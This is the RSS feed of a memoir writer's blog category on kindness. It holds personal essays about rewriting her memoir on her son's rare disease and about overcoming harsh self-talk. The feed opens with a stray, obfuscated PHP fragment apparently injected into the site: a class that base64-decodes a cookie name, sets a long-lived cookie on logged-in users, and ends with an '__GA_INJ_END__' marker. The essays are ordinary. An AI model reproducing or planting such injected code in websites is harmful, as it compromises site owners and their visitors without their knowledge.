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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ Kindness| Patti M Hall https://pattimhall.com/kindness/ Master Story Alchemist. The World Is Waiting To Hear Your Story Wed, 22 Jul 2020 14:49:49 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png Kindness| Patti M Hall https://pattimhall.com/kindness/ 32 32 Kind Over Matter https://pattimhall.com/kind-over-matter/?utm_source=rss&utm_medium=rss&utm_campaign=kind-over-matter Tue, 19 May 2020 10:34:22 +0000 http://pattimhall.com/?p=10423 www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> Kindness to Myself In The Pages of My Memoir https://pattimhall.com/kindness-pages-memoir/?utm_source=rss&utm_medium=rss&utm_campaign=kindness-pages-memoir Wed, 23 Aug 2017 20:11:52 +0000 http://pattimhall.com/?p=1306 Confession time. I have a problem. I’m a #Memoiraholic. Yup. Mr. Webster and his logophiles (word-loving compadres) would define me thusly: one who loves narrative composed of personal experience to excess. Guilty. As. Charged. One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole…

The post Kindness to Myself In The Pages of My Memoir appeared first on Patti M Hall.

]]> Confession time.

I have a problem.

I’m a #Memoiraholic.

Yup.

Mr. Webster and his logophiles (word-loving compadres) would define me thusly:

one who loves narrative composed of personal experience to excess.

Guilty. As. Charged.

One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole into incredible realizations.

They reflect both experience, and years of self-reflection about what has contributed most to who we are in the time of writing. I say unself-conscious because by the time a writer has gotten to the publication stage of a memoir, they have grown quite comfortable with the contents. They can’t afford to feel squeamish about the content anymore.

First of all, it can take years to write the manuscript.

Secondly, time has passed. It is rare that a book is written as the writer is experiencing its content. It is more common that writers choose to wait, and in fact, need to wait years for their fluidity with the experience and its meaning to distill into text. Cheryl Strayed’s Wild comes to mind as an example. The clarity of a book’s pithy conclusions is the result of time, (and a ton of hard work), which I appreciate as a voracious reader and memoiraholic.

Another common feature of the writing process for memoir writers is the worry that they will never feel comfortable including content that could offend people; perhaps their stories uncover family secrets for the first time or their book assigns blame, controversially. The Fact of A Body by Alexandria Marzano-Lesnevich is a must-read because of how the author successfully wrestles the notion of blame to the page.

Maybe this is why you haven’t started your book—you don’t want the telling of your story to hurt anyone, or you just haven’t found the courage you think you need, yet.  Not yet.

But you will. Stories have a way of fighting for air, pressing themselves to the page. This is true of my memoir, tentatively titled Our Own Forever, about the tumult in my life and my response when my son was diagnosed with an uber-rare disease. I recently undertook a complete rewrite of my manuscript. I had drafted its former version, all 100,000 words of it in 2014, but late last year I realized that its conclusions weren’t accurate anymore. There was more to say. I wasn’t that woman, or that writer now, even that I’d been just three years ago. So I started again, because the story demanded it of me. Sure, I considered giving it up. Many people put the book in the box and are content to let it languish. But my story, my memoir that reveals all of the roles I took on in addition to being Patti, and being Mom, in order to save my child, needed to get out in the world. It needed to help other parents with critically and chronically-ill children feel less alone. It wouldn’t stop percolating through me, even though I tried putting other projects in front of it. My memoir fought hard to be noticed, it tugged at my soul, peeling away paint from the blackened window I’d stored it behind.

[NOTE: Loving Large: A Mother’s Rare Disease Memoir will be released April, 2020 and can be ordered here:]

Recently I realized that rewriting my memoir has been an unwitting act of self-kindness. You see, I’ve witnessed myself living these years, in as much as any of us has self-awareness in hospital visits, parenting, grieving, and dealing with divorce, depression and decision-making. (Or so I thought.) But I hadn’t really appreciated, with compassion, the person I’d become in the After, until I saw myself in the freshly written pages. I hadn’t realized that fear had been forcing my hand in life choices. I hadn’t seen that I was unwilling to trust that a safe future awaited my two children. I learned that I was keeping myself small, living below the radar, because I felt disaster might discover me again and in my newly assumed role as Crisis Mom, I thought I deserved its wrath.

The woman I am now can never be who she was Before my son’s diagnosis. I cannot go back. Neither can he. Had the events of the last eight years not occurred just as they did, neither my son nor I would be who we are. I can celebrate and unconditionally love the young man he has become—why wasn’t I embracing the Patti I’d become in the same way?

Because I hadn’t written it yet.

I write in order to know who I am. The kindest thing I could have done was write in my now voice, as my now Patti—the me in the After. So I started over.

There are riches in our histories, pain speckles our story but it needn’t define us entirely. There are blissful moments within loss, and heart-rending gifts abound while sitting bedside with a sick child. The phoenix does rise.

Kindness to ourselves is about compassion directed inward. I needed to integrate the advocate, researcher, scrub nurse, and cheerleader I became while on the medical odyssey with me, in order to know better the woman and the writer I am now. That took time. I needed to take the time and the book made sure I did.

Kindness is a muscle, once discovered, it benefits from use. So I will rewrite this memoir, and the rewrite my other book this year too, using the voice of the writer who has learned the value of the richness of all experience, the tragic and the joyous. Done well, my future readers will go down the rabbit hole of discovery with me in the pages of my life.

[originally posted on www.kindovermatter.com August 2017]

The post Kindness to Myself In The Pages of My Memoir appeared first on Patti M Hall.

]]> Self Kindness Meant Getting Out of My Own Way https://pattimhall.com/self-kindness-meant-getting-way/?utm_source=rss&utm_medium=rss&utm_campaign=self-kindness-meant-getting-way Fri, 24 Mar 2017 14:57:19 +0000 http://pattimhall.com/?p=1227 We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts. Are you? We have only ourselves to blame and that isn’t always easy…

The post Self Kindness Meant Getting Out of My Own Way appeared first on Patti M Hall.

]]> We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts.

Are you?

We have only ourselves to blame and that isn’t always easy to live with. There, I’m laying that accusation down, but let me tell you a story to soften the blow.

In my ongoing effort to improve self-kindness, I’m getting honest about why things haven’t always turned out just the way I’d hoped. For me, that includes rewriting my manuscript – again; because I needed to admit it is no longer good enough, by my standards. While I’ve been ghostwriting and growing a writing inspiration and coaching biz online at pattimhall.com these last few years. I’ve also written two memoirs. Before you ask, neither of them is published yet. (But thanks for asking.)

I’m rewriting now, but this was a long time coming. I knew that I was going to completely overhaul my manuscript before seeking a new agent for it. I knew this rework would entail a new title, outline, structure and yanking our seven-year-odyssey with rare disease ruthlessly out of chronological order. Here’s the rub – I knew what it was going to take. I knew because I am a writer, voracious reader and #memoiraholic and I know memoirs. I knew my manuscript wasn’t reflective of the story I wanted to tell or my writing ability anymore. I wasn’t willing to make these next few forays into conventional publishing with anything less than what I felt was my best. But did I jump in with both feet and get to work? Nope. I had a meltdown. I worried about things I told myself were more important. I stopped writing all together. I worked on my paying gigs, built a new website, but didn’t touch my book. Didn’t touch it at all.

I may sound like I have clarity now, but it took me 18 months. That was time I didn’t want to lose because I am stricken with a passion for valuing every day (the essential lessons of my two memoirs.) AND, what is worse and far more unkind than the way I treated my book, is that EVERY SINGLE DAY I berated myself for not rewriting, as if I had forgotten to pick up my child and left him on the curb at rush-hour. Yes…18 months of beating myself up (“Just forget it, Patti, you’re a has been, nobody is going to interested in this.”), diminishing my work (“You took too long.”), judging my initial motivation for writing that book AND for being a writer (high-pitched witchy giggles and imaginary crooked purple fingers pointed at me).

I’m a book writing coach, and that irony wasn’t lost on me. Had I been my own client I would have patiently and lovingly companioned myself, offering: “You’ll know when it’s time.” and “The story will be so much better for the waiting.” But I didn’t. Instead, I fell back on the script that has been my constant companion since childhood. It was some of the nastiness self talk ever for me, so far beyond the “inner critic” that I can’t label it and won’t try.

Some weeks ago I wrote a new kind of script… a Self-Schooling Script. I crafted a Personal Memoir Writing School and I was my only student. It had a few units of study that I devised as a return to the writing life. I wrote every day. I read constantly. I hung out at the bookstore regularly. I studied. I picked up the five memoirs that are what I consider the most exceptional exemplars. I listened to them on audio and then marked up the paper copies in order to disassemble the plot lines and structure, and to absorb the authors’ voices. I went at this like I would any grad school course because I was staking my life on this. I’m not being overly dramatic here. Writing isn’t what I do, it is who I am. Without it, I would cease to exist. I knew that once I uttered the words, once I said out loud to the universe that I was going to permanently shelve my book, my relationship with myself as a writer would be shattered. I would be shattered and it would be my own doing. I would never have let one of my clients or writer pals step away from their identity, their story or their life’s work. I couldn’t let myself either, in the end. Kindness to myself won out. I coached myself eventually. Thankfully.

Schooling myself has been exhausting, expensive and frankly, self-indulgent. It has been as necessary as therapy to come out of depression and yoga to overcome what winter has done to my body (more on that next month). But I’m writing again, have a new 21-page outline and the memoir is being reborn. I got schooled in some acts of self-kindness and I’m a better writer (and a better me) because of it.

a version of this appeared in www.kindovermatter.com in 2017

[My memoir Loving Large: A Mother’s Rare Disease Memoir is releasing in April 2020. You can order your copy online at Amazon worldwide or please seek out a copy at your local bookseller. With thanks, Patti.]

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